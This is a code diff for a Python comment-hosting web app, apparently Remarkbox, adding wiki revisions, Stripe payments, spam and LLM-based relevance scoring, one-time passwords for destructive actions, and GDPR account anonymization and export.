html = convert(data, from_format=self.source_format, to_format="html5", standalone=False)
if namespace:
cleaner = make_cleaner_from_namespace(namespace)
else:
cleaner = default_cleaner()
self.data_html = clean_raw_html(html, cleaner)
def _invalidate_cache(self): def _invalidate_cache(self):
if self.root.cache: if self.root.cache:
@ -328,6 +358,30 @@ class Node(RBase, Base):
self.changed = now_timestamp() self.changed = now_timestamp()
self._invalidate_cache() self._invalidate_cache()
def wiki_edit(self, data, user=None, source_format=None):
"""Edit node in wiki mode, creating a revision of the previous state."""
from .revision import Revision
# Count existing revisions for this node
rev_count = self.dbsession.query(Revision).filter(
Revision.node_id == self.id
).count()
# Save current state as a revision
revision = Revision(
node=self,
user=user,
data=self.data or "",
source_format=self.source_format,
revision_number=rev_count + 1,
)
self.dbsession.add(revision)
# Apply the edit
if source_format:
self.source_format = source_format
self.edit(data)
def disable(self): def disable(self):
"""disable node.""" """disable node."""
self.disabled = True self.disabled = True
@ -464,8 +518,9 @@ def get_root_nodes_by_keywords(dbsession, keywords, namespace=None):
for keyword in keywords: for keyword in keywords:
# extend nodes, with a list of nodes which match this keyword. # extend nodes, with a list of nodes which match this keyword.
# Limit per-keyword results to prevent memory exhaustion (CWE-407).
keyword_filter = Node.data.ilike("%{}%".format(keyword)) keyword_filter = Node.data.ilike("%{}%".format(keyword))
nodes.extend(node_query.filter(keyword_filter).all()) nodes.extend(node_query.filter(keyword_filter).limit(200).all())
# accumulate scores and root node objects. # accumulate scores and root node objects.
for node in nodes: for node in nodes:
@ -499,12 +554,49 @@ def get_nodes_who_share_roots(dbsession, root_nodes):
return get_nodes_who_share_roots_query(dbsession, root_nodes).all() return get_nodes_who_share_roots_query(dbsession, root_nodes).all()
def get_nodes_who_share_root(dbsession, root_node, order="oldest-first"): def get_nodes_who_share_root(dbsession, root_node, order="oldest-first",
limit=None, offset=None,
exclude_root=False,
visibility_filters=None):
"""Return nodes sharing a root, with optional pagination and SQL-side filtering.
Args:
dbsession: SQLAlchemy session.
root_node: The root Node whose tree to query.
order: 'oldest-first' or 'newest-first'.
limit: Maximum number of rows to return (None = unlimited).
offset: Number of rows to skip (None = 0).
exclude_root: If True, exclude the root node itself from results.
visibility_filters: Optional dict of SQL visibility filters to apply.
Supported keys: disabled (bool), approved (bool), verified (bool).
Returns:
SQLAlchemy query object (call .all() to materialise).
"""
nodes = dbsession.query(Node).filter(Node.root_id == root_node.id) nodes = dbsession.query(Node).filter(Node.root_id == root_node.id)
if exclude_root:
nodes = nodes.filter(Node.id != root_node.id)
# Apply SQL-side visibility filters
if visibility_filters:
if "disabled" in visibility_filters:
nodes = nodes.filter(Node.disabled == visibility_filters["disabled"])
if "approved" in visibility_filters:
nodes = nodes.filter(Node.approved == visibility_filters["approved"])
if "verified" in visibility_filters:
nodes = nodes.filter(Node.verified == visibility_filters["verified"])
if order == "oldest-first": if order == "oldest-first":
nodes = nodes.order_by(Node.created) nodes = nodes.order_by(Node.created)
elif order == "newest-first": elif order == "newest-first":
nodes = nodes.order_by(Node.created.desc()) nodes = nodes.order_by(Node.created.desc())
if offset is not None:
nodes = nodes.offset(offset)
if limit is not None:
nodes = nodes.limit(limit)
return nodes return nodes

109
remarkbox/models/payment.py Normal file
View file

@ -0,0 +1,109 @@
"""Payment model for tracking Stripe payments."""
from sqlalchemy import BigInteger, Column, Unicode, Enum
from sqlalchemy.orm import relationship
from .meta import Base, RBase, UUIDType, now_timestamp, foreign_key
from remarkbox.lib import timestamp_to_date
import uuid
class Payment(RBase, Base):
"""
Track payments made through Stripe Checkout.
Each payment record corresponds to a completed Stripe Checkout session.
"""
id = Column(UUIDType, primary_key=True, index=True)
# Link to user who made the payment
user_id = Column(UUIDType, foreign_key("User", "id"), index=True, nullable=False)
# Stripe session ID for reference
stripe_session_id = Column(Unicode(128), unique=True, nullable=False, index=True)
# Payment type: pay_what_you_want, annual, top_up
payment_type = Column(
Enum("pay_what_you_want", "annual", "top_up", name="payment_type_enum"),
nullable=False,
)
# Amount in cents
amount_cents = Column(BigInteger, nullable=False)
# Duration in months (for annual/top_up payments)
duration_months = Column(BigInteger, default=0, nullable=False)
# Payment status: pending, completed, failed, refunded
status = Column(
Enum("pending", "completed", "failed", "refunded", name="payment_status_enum"),
default="pending",
nullable=False,
)
# Timestamps
created_timestamp = Column(BigInteger, nullable=False)
completed_timestamp = Column(BigInteger, nullable=True)
# Relationship to user
user = relationship(
argument="User",
uselist=False,
lazy="joined",
back_populates="payments",
)
def __init__(self, user, stripe_session_id, payment_type, amount_cents, duration_months=0):
self.id = uuid.uuid1()
self.user_id = user.id
self.stripe_session_id = stripe_session_id
self.payment_type = payment_type
self.amount_cents = amount_cents
self.duration_months = duration_months
self.status = "pending"
self.created_timestamp = now_timestamp()
def mark_completed(self):
"""Mark payment as completed."""
self.status = "completed"
self.completed_timestamp = now_timestamp()
def mark_failed(self):
"""Mark payment as failed."""
self.status = "failed"
@property
def amount_dollars(self):
"""Return amount in dollars."""
return self.amount_cents / 100.0
@property
def human_created_date(self):
"""Return human-readable creation date."""
return timestamp_to_date(self.created_timestamp)
def get_payment_by_session_id(dbsession, session_id):
"""Get payment by Stripe session ID."""
return (
dbsession.query(Payment)
.filter(Payment.stripe_session_id == session_id)
.one_or_none()
)
def create_payment(dbsession, user, stripe_session_id, payment_type, amount_cents, duration_months=0):
"""Create a new payment record."""
payment = Payment(
user=user,
stripe_session_id=stripe_session_id,
payment_type=payment_type,
amount_cents=amount_cents,
duration_months=duration_months,
)
dbsession.add(payment)
dbsession.flush()
return payment

View file

@ -0,0 +1,39 @@
"""Revision model — tracks edit history for wiki mode."""
from sqlalchemy import BigInteger, Column, Integer, Unicode, UnicodeText
from sqlalchemy.orm import relationship
import uuid
from .meta import Base, RBase, UUIDType, now_timestamp, foreign_key
class Revision(RBase, Base):
"""Stores a snapshot of node content before each edit.
When wiki mode is enabled on a namespace, every edit to a root node
creates a revision record preserving the previous state.
"""
id = Column(UUIDType, primary_key=True, index=True)
node_id = Column(UUIDType, foreign_key("Node", "id"), nullable=False, index=True)
user_id = Column(UUIDType, foreign_key("User", "id"), nullable=True)
data = Column(UnicodeText, nullable=False)
source_format = Column(Unicode(16), default="markdown", nullable=False)
revision_number = Column(Integer, nullable=False)
created = Column(BigInteger, nullable=False)
node = relationship("Node", backref="revisions")
user = relationship("User")
def __init__(self, node=None, user=None, data="", source_format="markdown", revision_number=1):
self.id = uuid.uuid1()
self.created = now_timestamp()
if node:
self.node_id = node.id
self.node = node
if user:
self.user_id = user.id
self.user = user
self.data = data
self.source_format = source_format
self.revision_number = revision_number

221
remarkbox/models/spam.py Normal file
View file

@ -0,0 +1,221 @@
"""
Spam scoring for Remarkbox.
Scores content on a 0.0-1.0 scale where higher = more likely spam.
Used by API views to reject or hold posts for moderation.
"""
import hashlib
import os
import re
import time
from collections import defaultdict
from .node import Node
# In-memory caches (reset on process restart)
_recent_hashes = defaultdict(list) # {ip_or_user_key: [(hash, timestamp), ...]}
_disabled_ip_counts = {} # {ip: count} -- refreshed periodically
_disabled_ip_cache_time = 0
# Default spam patterns (common in comment spam)
DEFAULT_PATTERNS = [
r"buy\s+now",
r"click\s+here\s+to",
r"free\s+trial",
r"limited\s+time\s+offer",
r"act\s+now",
r"order\s+today",
r"100%\s+free",
r"make\s+money\s+fast",
r"work\s+from\s+home",
r"casino\s+online",
r"viagra|cialis",
r"payday\s+loan",
r"seo\s+service",
r"followers?\s+for\s+(free|sale|\$)",
r"crypto\s+invest",
]
_compiled_patterns = None
_custom_patterns = None
def _get_patterns(settings=None):
"""Load and compile spam patterns. Cached after first call."""
global _compiled_patterns, _custom_patterns
patterns_file = None
if settings:
patterns_file = settings.get("spam.patterns_file")
if _compiled_patterns is not None and _custom_patterns == patterns_file:
return _compiled_patterns
patterns = list(DEFAULT_PATTERNS)
if patterns_file and os.path.exists(patterns_file):
with open(patterns_file) as f:
for line in f:
line = line.strip()
if line and not line.startswith("#"):
patterns.append(line)
_compiled_patterns = [re.compile(p, re.IGNORECASE) for p in patterns]
_custom_patterns = patterns_file
return _compiled_patterns
def _content_hash(text):
"""Return a short hash of the text for duplicate detection."""
normalized = re.sub(r"\s+", " ", text.strip().lower())
return hashlib.md5(normalized.encode("utf-8")).hexdigest()[:16]
def _link_density(text):
"""Return the ratio of URL characters to total text length."""
if not text:
return 0.0
urls = re.findall(r"https?://\S+", text)
url_chars = sum(len(u) for u in urls)
return url_chars / len(text) if text else 0.0
def _link_count(text):
"""Return number of URLs in text."""
if not text:
return 0
return len(re.findall(r"https?://\S+", text))
def score_content(text, user=None, ip_address=None, dbsession=None, settings=None):
"""Score content for spam likelihood.
Args:
text: The post content.
user: User object (may be None for anonymous).
ip_address: Client IP address string.
dbsession: SQLAlchemy session (for IP reputation checks).
settings: Pyramid registry settings dict.
Returns:
(score, signals) where score is 0.0-1.0 and signals is a list
of strings describing what triggered.
"""
if not text:
return 0.0, []
signals = []
score = 0.0
# 1. Link density
density = _link_density(text)
links = _link_count(text)
if density > 0.5:
score += 0.4
signals.append("link_density:{:.0%}".format(density))
elif density > 0.3:
score += 0.2
signals.append("link_density:{:.0%}".format(density))
if links > 5:
score += 0.2
signals.append("link_count:{}".format(links))
# 2. Known spam patterns
patterns = _get_patterns(settings)
pattern_hits = 0
for pattern in patterns:
if pattern.search(text):
pattern_hits += 1
if pattern_hits >= 3:
score += 0.5
signals.append("spam_patterns:{}".format(pattern_hits))
elif pattern_hits >= 1:
score += 0.2
signals.append("spam_patterns:{}".format(pattern_hits))
# 3. Duplicate content (in-memory, recent posts by same IP/user)
key = None
if user and hasattr(user, "id"):
key = "user:{}".format(user.id)
elif ip_address:
key = "ip:{}".format(ip_address)
if key:
content_hash = _content_hash(text)
now = time.time()
cutoff = now - 3600 # Look back 1 hour
# Clean old entries
_recent_hashes[key] = [
(h, t) for h, t in _recent_hashes[key] if t > cutoff
]
# Check for duplicates
existing_hashes = [h for h, t in _recent_hashes[key]]
if content_hash in existing_hashes:
score += 0.4
signals.append("duplicate_content")
# Record this hash
_recent_hashes[key].append((content_hash, now))
# 4. New account velocity
if user and hasattr(user, "created"):
now_ms = int(time.time() * 1000)
account_age_ms = now_ms - user.created
one_hour_ms = 3600000
if account_age_ms < one_hour_ms:
# Account less than 1 hour old
node_count = user.nodes.count() if hasattr(user.nodes, "count") else 0
if node_count > 5:
score += 0.3
signals.append("new_account_velocity:{}posts_in_{}min".format(
node_count, account_age_ms // 60000
))
elif node_count > 2:
score += 0.1
signals.append("new_account_velocity:{}posts".format(node_count))
# 5. IP reputation (disabled posts from same IP)
if ip_address and dbsession:
global _disabled_ip_counts, _disabled_ip_cache_time
now = time.time()
# Refresh IP reputation cache every 5 minutes
if now - _disabled_ip_cache_time > 300:
_disabled_ip_counts = {}
_disabled_ip_cache_time = now
if ip_address not in _disabled_ip_counts:
count = (
dbsession.query(Node)
.filter(Node.ip_address == ip_address, Node.disabled == True)
.count()
)
_disabled_ip_counts[ip_address] = count
disabled_count = _disabled_ip_counts[ip_address]
if disabled_count > 3:
score += 0.3
signals.append("ip_reputation:{}disabled".format(disabled_count))
# 6. Content length anomalies (from new users)
is_new_user = False
if user and hasattr(user, "created"):
now_ms = int(time.time() * 1000)
is_new_user = (now_ms - user.created) < 86400000 # < 1 day
if is_new_user:
if len(text) < 10:
score += 0.1
signals.append("very_short_content")
elif len(text) > 50000:
score += 0.2
signals.append("very_long_content_new_user")
# Cap at 1.0
score = min(score, 1.0)
return score, signals

View file

@ -0,0 +1,202 @@
"""
LLM-based relevance checking for spam detection.
Uses an OpenAI-compatible inference endpoint (e.g. hermes.ai.unturf.com)
to check whether a post is relevant to its context (namespace or thread).
Configuration (from .ini):
spam.llm.enabled = true
spam.llm.endpoint = https://hermes.ai.unturf.com/v1/chat/completions
spam.llm.model = adamo1139/Hermes-3-Llama-3.1-8B-FP8-Dynamic
spam.llm.timeout = 5
"""
import json
import logging
import urllib.request
import urllib.error
log = logging.getLogger(__name__)
# Defaults
DEFAULT_ENDPOINT = "https://hermes.ai.unturf.com/v1/chat/completions"
DEFAULT_MODEL = "adamo1139/Hermes-3-Llama-3.1-8B-FP8-Dynamic"
DEFAULT_TIMEOUT = 5 # seconds
def _llm_request(endpoint, model, messages, timeout):
"""Make a chat completion request to an OpenAI-compatible endpoint."""
body = json.dumps({
"model": model,
"messages": messages,
"max_tokens": 150,
"temperature": 0.1,
}).encode("utf-8")
req = urllib.request.Request(
endpoint,
data=body,
headers={"Content-Type": "application/json"},
method="POST",
)
try:
resp = urllib.request.urlopen(req, timeout=timeout)
data = json.loads(resp.read().decode("utf-8"))
return data["choices"][0]["message"]["content"].strip()
except (urllib.error.URLError, urllib.error.HTTPError, KeyError, Exception) as e:
log.warning("LLM relevance check failed: %s", e)
return None
def check_thread_relevance(namespace_name, namespace_description, title, content, settings=None):
"""Check if a new thread is relevant to the namespace.
Args:
namespace_name: The namespace (e.g. "meta.remarkbox.com")
namespace_description: The namespace description (may be None)
title: The thread title
content: The thread body text
settings: Pyramid registry settings dict
Returns:
(relevant, explanation) where relevant is True/False/None (None = LLM unavailable)
"""
if not _is_enabled(settings):
return None, None
endpoint, model, timeout = _get_config(settings)
ns_context = namespace_name
if namespace_description:
ns_context = "{} ({})".format(namespace_name, namespace_description)
messages = [
{
"role": "system",
"content": (
"You are a content moderation assistant. Your job is to determine if "
"a new discussion thread is relevant to the site it is being posted on. "
"Respond with exactly 'RELEVANT' or 'IRRELEVANT' on the first line, "
"followed by a brief one-sentence explanation."
),
},
{
"role": "user",
"content": (
"Site: {ns}\n\n"
"New thread title: {title}\n\n"
"Thread content (first 500 chars):\n{content}\n\n"
"Is this thread relevant to this site?"
).format(
ns=ns_context,
title=title or "(no title)",
content=(content or "")[:500],
),
},
]
response = _llm_request(endpoint, model, messages, timeout)
return _parse_verdict(response)
def check_reply_relevance(thread_title, thread_content, parent_content,
reply_content, page_url=None, namespace_name=None,
settings=None):
"""Check if a reply is relevant to the thread.
Args:
thread_title: Root thread title
thread_content: Root thread body (first 300 chars)
parent_content: Direct parent node body (first 300 chars)
reply_content: The reply being checked
page_url: Parent page URL if this is an embed-mode thread (may be None)
namespace_name: Namespace/site name (may be None)
settings: Pyramid registry settings dict
Returns:
(relevant, explanation) where relevant is True/False/None (None = LLM unavailable)
"""
if not _is_enabled(settings):
return None, None
endpoint, model, timeout = _get_config(settings)
# Build context block -- include parent page info when available (embed mode)
context_parts = []
if namespace_name:
context_parts.append("Site: {}".format(namespace_name))
if page_url:
context_parts.append("Parent page URL: {}".format(page_url))
if thread_title:
context_parts.append("Thread title: {}".format(thread_title))
if thread_content:
context_parts.append(
"Thread content (first 300 chars):\n{}".format(
(thread_content or "")[:300]
)
)
if parent_content:
context_parts.append(
"Parent comment (first 300 chars):\n{}".format(
(parent_content or "")[:300]
)
)
user_msg = "{context}\n\nNew reply (first 500 chars):\n{reply}\n\n" \
"Is this reply relevant to the discussion?".format(
context="\n\n".join(context_parts),
reply=(reply_content or "")[:500],
)
messages = [
{
"role": "system",
"content": (
"You are a content moderation assistant. Your job is to determine if "
"a reply is relevant to the discussion thread it is being posted in. "
"Off-topic spam, promotional content, and gibberish should be marked irrelevant. "
"Respond with exactly 'RELEVANT' or 'IRRELEVANT' on the first line, "
"followed by a brief one-sentence explanation."
),
},
{
"role": "user",
"content": user_msg,
},
]
response = _llm_request(endpoint, model, messages, timeout)
return _parse_verdict(response)
def _is_enabled(settings):
"""Check if LLM relevance checking is enabled."""
if not settings:
return False
return settings.get("spam.llm.enabled", "false").strip().lower() in ("true", "1", "yes")
def _get_config(settings):
"""Extract LLM config from settings."""
endpoint = settings.get("spam.llm.endpoint", DEFAULT_ENDPOINT)
model = settings.get("spam.llm.model", DEFAULT_MODEL)
timeout = int(settings.get("spam.llm.timeout", DEFAULT_TIMEOUT))
return endpoint, model, timeout
def _parse_verdict(response):
"""Parse a RELEVANT/IRRELEVANT response from the LLM."""
if not response:
return None, None
first_line = response.split("\n")[0].strip().upper()
explanation = response.split("\n", 1)[1].strip() if "\n" in response else ""
if "IRRELEVANT" in first_line:
return False, explanation
elif "RELEVANT" in first_line:
return True, explanation
# Ambiguous response -- treat as inconclusive
return None, response

View file

@ -0,0 +1,90 @@
import os
import time
from sqlalchemy import Column, Unicode, BigInteger
from .meta import Base
class SudoOtp(Base):
"""One-time password for gating destructive operations."""
__tablename__ = "rb_sudo_otp"
action_key = Column(Unicode(256), primary_key=True)
code = Column(Unicode(8), nullable=False)
action = Column(Unicode(512), nullable=False)
client_ip = Column(Unicode(45), nullable=True)
created_at = Column(BigInteger, nullable=False)
expires_at = Column(BigInteger, nullable=False)
# TTL in milliseconds (15 minutes).
SUDO_OTP_TTL_MS = 15 * 60 * 1000
def generate_sudo_otp_code():
"""Return a zero-padded 8-digit numeric string."""
n = int.from_bytes(os.urandom(5), "big") % (10**8)
return str(n).zfill(8)
def create_sudo_otp(dbsession, action_key, action, client_ip=None):
"""Create or replace a sudo OTP for the given action_key.
Opportunistically cleans up expired rows.
Returns the raw 8-digit code string.
"""
now_ms = int(time.time() * 1000)
# Clean up expired rows (best-effort, small table).
dbsession.query(SudoOtp).filter(SudoOtp.expires_at < now_ms).delete()
code = generate_sudo_otp_code()
existing = dbsession.query(SudoOtp).get(action_key)
if existing:
existing.code = code
existing.action = action
existing.client_ip = client_ip
existing.created_at = now_ms
existing.expires_at = now_ms + SUDO_OTP_TTL_MS
else:
otp = SudoOtp(
action_key=action_key,
code=code,
action=action,
client_ip=client_ip,
created_at=now_ms,
expires_at=now_ms + SUDO_OTP_TTL_MS,
)
dbsession.add(otp)
dbsession.flush()
return code
def verify_sudo_otp(dbsession, action_key, code):
"""Verify a sudo OTP.
Returns (True, None) on success or (False, error_message) on failure.
Deletes the OTP on success (single-use).
"""
now_ms = int(time.time() * 1000)
otp = dbsession.query(SudoOtp).get(action_key)
if otp is None:
return False, "No OTP found. Please request a new code."
if otp.expires_at < now_ms:
dbsession.delete(otp)
dbsession.flush()
return False, "OTP has expired. Please request a new code."
if otp.code != code:
return False, "Invalid OTP code."
# Success — single-use, delete it.
dbsession.delete(otp)
dbsession.flush()
return True, None

View file

@ -1,4 +1,4 @@
from sqlalchemy import BigInteger, Boolean, Integer, Column, Unicode, Enum, func, or_ from sqlalchemy import BigInteger, Boolean, Integer, Column, Unicode, UnicodeText, Enum, func, or_
from sqlalchemy.orm import relationship, backref from sqlalchemy.orm import relationship, backref
@ -104,6 +104,8 @@ class User(RBase, Base):
gravatar = Column(Boolean, default=False) gravatar = Column(Boolean, default=False)
verified = Column(Boolean, default=False) verified = Column(Boolean, default=False)
disabled = Column(Boolean, default=False) disabled = Column(Boolean, default=False)
# Global moderator: can moderate across all namespaces.
is_superuser = Column(Boolean, default=False)
# automatically watch any threads I create. # automatically watch any threads I create.
auto_watch_threads_i_create = Column(Boolean, default=True, nullable=False) auto_watch_threads_i_create = Column(Boolean, default=True, nullable=False)
# automatically watch any threads I participate in. # automatically watch any threads I participate in.
@ -114,9 +116,20 @@ class User(RBase, Base):
default="daily", default="daily",
nullable=False, nullable=False,
) )
# example: cus_12345678AbCdEF but may be null. # Theme mode preference: 'auto', 'light', or 'dark'. 'auto' respects parent site.
stripe_id = Column(Unicode(18), unique=True, nullable=True) theme_mode = Column(
Enum('auto', 'light', 'dark', name='theme_mode_enum'),
default='auto',
nullable=False,
)
# Notification delivery preference: how the user wants to receive notifications.
notification_preference = Column(
Enum('email', 'push', 'both', 'none', name='notification_preference_enum'),
default='email',
nullable=False,
)
# JSON-encoded list of Web Push subscription objects.
push_subscriptions = Column(UnicodeText, nullable=True)
votes = relationship(argument="Vote", backref="user", order_by="desc(Vote.created)") votes = relationship(argument="Vote", backref="user", order_by="desc(Vote.created)")
# lazy='dynamic' returns a query object instead of collection. # lazy='dynamic' returns a query object instead of collection.
@ -151,6 +164,15 @@ class User(RBase, Base):
# 1-to-1 relationships. # 1-to-1 relationships.
pay_what_you_can = relationship(argument="PayWhatYouCan", uselist=False, lazy="joined") pay_what_you_can = relationship(argument="PayWhatYouCan", uselist=False, lazy="joined")
# Payment history
payments = relationship(
argument="Payment",
lazy="dynamic",
back_populates="user",
order_by="desc(Payment.created_timestamp)",
cascade="save-update, merge, delete",
)
@property @property
def node_watchers(self): def node_watchers(self):
return self.watchers.filter(Watcher.type == "node") return self.watchers.filter(Watcher.type == "node")
@ -235,39 +257,56 @@ class User(RBase, Base):
def unverified_namespace_owner_requests(self): def unverified_namespace_owner_requests(self):
return [nr for nr in self.namespace_owner_requests if not nr.verified] return [nr for nr in self.namespace_owner_requests if not nr.verified]
@property def _namespace_filter(self, query, namespace=None):
def verified_nodes(self): """Apply namespace filter to a node query if namespace is provided."""
return self.nodes.filter(Node.verified == True, Node.disabled == False) if namespace is not None:
root_ids = self.dbsession.query(Node.id).filter(
Node.namespace_id == namespace.id
)
query = query.filter(or_(
Node.root_id.in_(root_ids),
Node.namespace_id == namespace.id,
))
return query
@property def verified_nodes(self, namespace=None):
def unverified_nodes(self): query = self.nodes.filter(Node.verified == True, Node.disabled == False)
return self.nodes.filter(Node.verified == False, Node.disabled == False) return self._namespace_filter(query, namespace)
@property def unverified_nodes(self, namespace=None):
def disabled_nodes(self): query = self.nodes.filter(Node.verified == False, Node.disabled == False)
return self.nodes.filter(Node.verified == True, Node.disabled == True) return self._namespace_filter(query, namespace)
@property def disabled_nodes(self, namespace=None):
def unapproved_nodes(self): query = self.nodes.filter(Node.verified == True, Node.disabled == True)
return self.nodes.filter(or_(Node.approved == False, Node.approved.is_(None))) return self._namespace_filter(query, namespace)
def page_nodes(self, limit=100, offset=0): def unapproved_nodes(self, namespace=None):
query = self.nodes.filter(or_(Node.approved == False, Node.approved.is_(None)))
return self._namespace_filter(query, namespace)
def page_nodes(self, namespace=None, limit=100, offset=0):
if self.nodes.count() == 0: if self.nodes.count() == 0:
return [] return []
return ( query = self.nodes.filter(
self.nodes.filter( Node.disabled == False, Node.verified == True,
Node.disabled == False, Node.verified == True, Node.user_id != None, Node.approved == True Node.user_id != None, Node.approved == True
)
.order_by(Node.changed.desc())
.limit(limit)
.offset(offset)
) )
query = self._namespace_filter(query, namespace)
if namespace is not None:
if namespace.hide_unless_approved:
query = query.filter(Node.approved == True)
if namespace.hide_unverified:
query = query.filter(Node.verified == True)
return query.order_by(Node.changed.desc()).limit(limit).offset(offset)
def __init__(self, email): def __init__(self, email):
self.name = unicode(generate_password(size=8)) self.name = unicode(generate_password(size=8))
self.created = now_timestamp() self.created = now_timestamp()
self.id = uuid.uuid1() self.id = uuid.uuid1()
self.email = unicode(email) self.email = unicode(email.lower())
# TODO: this field was never used & should be sunset. # TODO: this field was never used & should be sunset.
self.email_id = unicode(generate_password(size=8)) self.email_id = unicode(generate_password(size=8))
@ -362,6 +401,113 @@ class User(RBase, Base):
return reply_watcher return reply_watcher
return self.reply_watchers.first() return self.reply_watchers.first()
def anonymize_account(self):
"""Anonymize this user's account for GDPR/CCPA compliance.
Scrubs PII (name, email, password) and cleans up metadata,
but keeps the user record as a tombstone so node.user_id
foreign keys remain valid and templates still work.
"""
dbsession = self.dbsession
tombstone_id = uuid.uuid4().hex[:12]
# Scrub PII on the user record — keep it as a tombstone.
self.name = "deleted-{}".format(tombstone_id)
self.email = "deleted-{}@localhost".format(tombstone_id)
self.password = None
self.password_attempts = 0
self.gravatar = False
self.verified = False
self.disabled = True
# Scrub IP addresses on all comments.
for node in self.nodes.all():
node.ip_address = None
dbsession.add(node)
# Delete all notification records.
for notification in self.node_notifications.all():
dbsession.delete(notification)
# Delete all watchers and their notifications.
for watcher in self.watchers.all():
for notification in watcher.notifications.all():
dbsession.delete(notification)
dbsession.delete(watcher)
# Delete all events and their notifications.
for event in self.events:
notifications = dbsession.query(NodeEventNotification).filter(
NodeEventNotification.node_event_id == event.id
).all()
for notification in notifications:
dbsession.delete(notification)
dbsession.delete(event)
# Delete OAuth records.
for oauth in self.oauth_records.all():
dbsession.delete(oauth)
# Delete namespace owner requests.
for nr in self.namespace_owner_requests.all():
dbsession.delete(nr)
# Delete namespace user associations.
for nsu in list(self.user_namespaces):
dbsession.delete(nsu)
# Delete payment records.
if self.pay_what_you_can:
dbsession.delete(self.pay_what_you_can)
for payment in self.payments.all():
dbsession.delete(payment)
# Delete votes.
for vote in self.votes:
dbsession.delete(vote)
dbsession.add(self)
dbsession.flush()
def export_user_data(self):
"""Export all user data as a dictionary for GDPR/CCPA data subject requests."""
from remarkbox.lib import timestamp_to_date_string
data = {
"profile": {
"id": str(self.id),
"name": self.name,
"email": self.email,
"created": timestamp_to_date_string(self.created),
"gravatar": self.gravatar,
"verified": self.verified,
"theme_mode": self.theme_mode,
},
"comments": [],
}
for node in self.nodes.all():
comment = {
"id": str(node.id),
"created": timestamp_to_date_string(node.created),
"changed": timestamp_to_date_string(node.changed),
"content": node.data,
"disabled": node.disabled,
"verified": node.verified,
"approved": node.approved,
}
if node.title:
comment["title"] = node.title
if node.namespace:
comment["namespace"] = node.namespace.name
if node.root and node.root.title:
comment["thread_title"] = node.root.title
if node.root and node.root.uri:
comment["thread_uri"] = node.root.uri.data
data["comments"].append(comment)
return data
def _user_by_name_query(dbsession, name): def _user_by_name_query(dbsession, name):
"""query User by case insensitive name.""" """query User by case insensitive name."""
@ -405,7 +551,7 @@ def get_user_by_id(dbsession, user_id):
def get_user_by_email(dbsession, email): def get_user_by_email(dbsession, email):
"""Try to get User object by email or return None""" """Try to get User object by email or return None"""
if email: if email:
return dbsession.query(User).filter(User.email == unicode(email)).one_or_none() return dbsession.query(User).filter(func.lower(User.email) == unicode(email.lower())).one_or_none()
def get_or_create_user_by_email(dbsession, email): def get_or_create_user_by_email(dbsession, email):

View file

@ -0,0 +1,77 @@
from sqlalchemy import (
BigInteger,
Boolean,
Column,
Unicode,
UnicodeText,
)
from sqlalchemy.orm import relationship
import uuid
from .meta import Base, RBase, UUIDType, foreign_key, now_timestamp, get_object_by_id
import logging
log = logging.getLogger(__name__)
class Webmention(RBase, Base):
"""
Represents a received webmention -- a notification from an external
site that it has linked to a page with a Remarkbox thread.
Reference: https://www.w3.org/TR/webmention/
"""
id = Column(UUIDType, primary_key=True, index=True)
source = Column(Unicode(2048), nullable=False)
target = Column(Unicode(2048), nullable=False)
node_id = Column(UUIDType, foreign_key("Node", "id"), index=True, nullable=True)
verified = Column(Boolean, default=False, nullable=False)
author_name = Column(Unicode(256), nullable=True)
author_url = Column(Unicode(2048), nullable=True)
content = Column(UnicodeText, nullable=True)
created_timestamp = Column(BigInteger, nullable=False)
updated_timestamp = Column(BigInteger, nullable=False)
node = relationship(argument="Node", uselist=False, lazy="joined")
def __init__(self, source, target):
self.id = uuid.uuid1()
self.source = source
self.target = target
self.created_timestamp = now_timestamp()
self.updated_timestamp = now_timestamp()
def mark_verified(self, author_name=None, author_url=None, content=None):
self.verified = True
self.updated_timestamp = now_timestamp()
if author_name:
self.author_name = author_name
if author_url:
self.author_url = author_url
if content:
self.content = content[:500]
def get_webmention_by_id(dbsession, webmention_id):
return get_object_by_id(dbsession, webmention_id, Webmention)
def get_webmention_by_source_and_target(dbsession, source, target):
return (
dbsession.query(Webmention)
.filter(Webmention.source == source, Webmention.target == target)
.one_or_none()
)
def get_verified_webmentions_for_node(dbsession, node_id):
return (
dbsession.query(Webmention)
.filter(Webmention.node_id == node_id, Webmention.verified == True)
.order_by(Webmention.created_timestamp.desc())
.all()
)

View file

@ -1,20 +1,26 @@
def includeme(config): def includeme(config):
# shared routes # shared routes
config.add_static_view("static", "static", cache_max_age=3600) config.add_static_view("static", "static", cache_max_age=3600)
config.add_static_view("attachment", "remarkbox:static/attachment", cache_max_age=86400)
config.add_route("favicon", "/favicon.ico") config.add_route("favicon", "/favicon.ico")
config.add_route("robots", "/robots.txt") config.add_route("robots", "/robots.txt")
config.add_route("embed-iframe", "/embed-iframe.txt") config.add_route("embed-iframe", "/embed-iframe.txt")
config.add_route("embed-iframe-min", "/embed-iframe-min.txt") config.add_route("embed-iframe-min", "/embed-iframe-min.txt")
# stripe: credit card storage and processing. # stripe: payment processing via Stripe Checkout
config.add_route("billing", "/billing") config.add_route("billing", "/billing")
config.add_route("add-card", "/billing/add-card") config.add_route("create-checkout", "/billing/checkout")
config.add_route( config.add_route("billing-success", "/billing/success")
"confirm-update-card", "/billing/confirm-update-card/{action}/{card_id}" config.add_route("stripe-webhook", "/webhook/stripe")
)
config.add_route("update-card", "/billing/update-card") # webmention: IndieWeb webmention receiving endpoint.
config.add_route("pay-what-you-can", "/pay-what-you-can") config.add_route("webmention", "/webmention")
# push notifications: Web Push API endpoints.
config.add_route("push-vapid-key", "/push/vapid-key")
config.add_route("push-subscribe", "/push/subscribe")
config.add_route("push-unsubscribe", "/push/unsubscribe")
# slack: bot notifications and oauth. # slack: bot notifications and oauth.
config.add_route("oauth-slack", "/oauth/slack") config.add_route("oauth-slack", "/oauth/slack")
@ -61,6 +67,9 @@ def includeme(config):
config.add_route("topsecret-namespaces", "/topsecret/namespaces") config.add_route("topsecret-namespaces", "/topsecret/namespaces")
config.add_route("topsecret-notifications", "/topsecret/notifications") config.add_route("topsecret-notifications", "/topsecret/notifications")
config.add_route("topsecret-nodes", "/topsecret/nodes") config.add_route("topsecret-nodes", "/topsecret/nodes")
config.add_route("topsecret-users", "/topsecret/users")
config.add_route("topsecret-user-promote", "/topsecret/users/promote")
config.add_route("topsecret-user-demote", "/topsecret/users/demote")
config.add_route("topsecret", "/topsecret") config.add_route("topsecret", "/topsecret")
# embed routes: # embed routes:
@ -70,12 +79,16 @@ def includeme(config):
config.add_route("embed-log-out", "/embed/ns/{namespace}/log-out") config.add_route("embed-log-out", "/embed/ns/{namespace}/log-out")
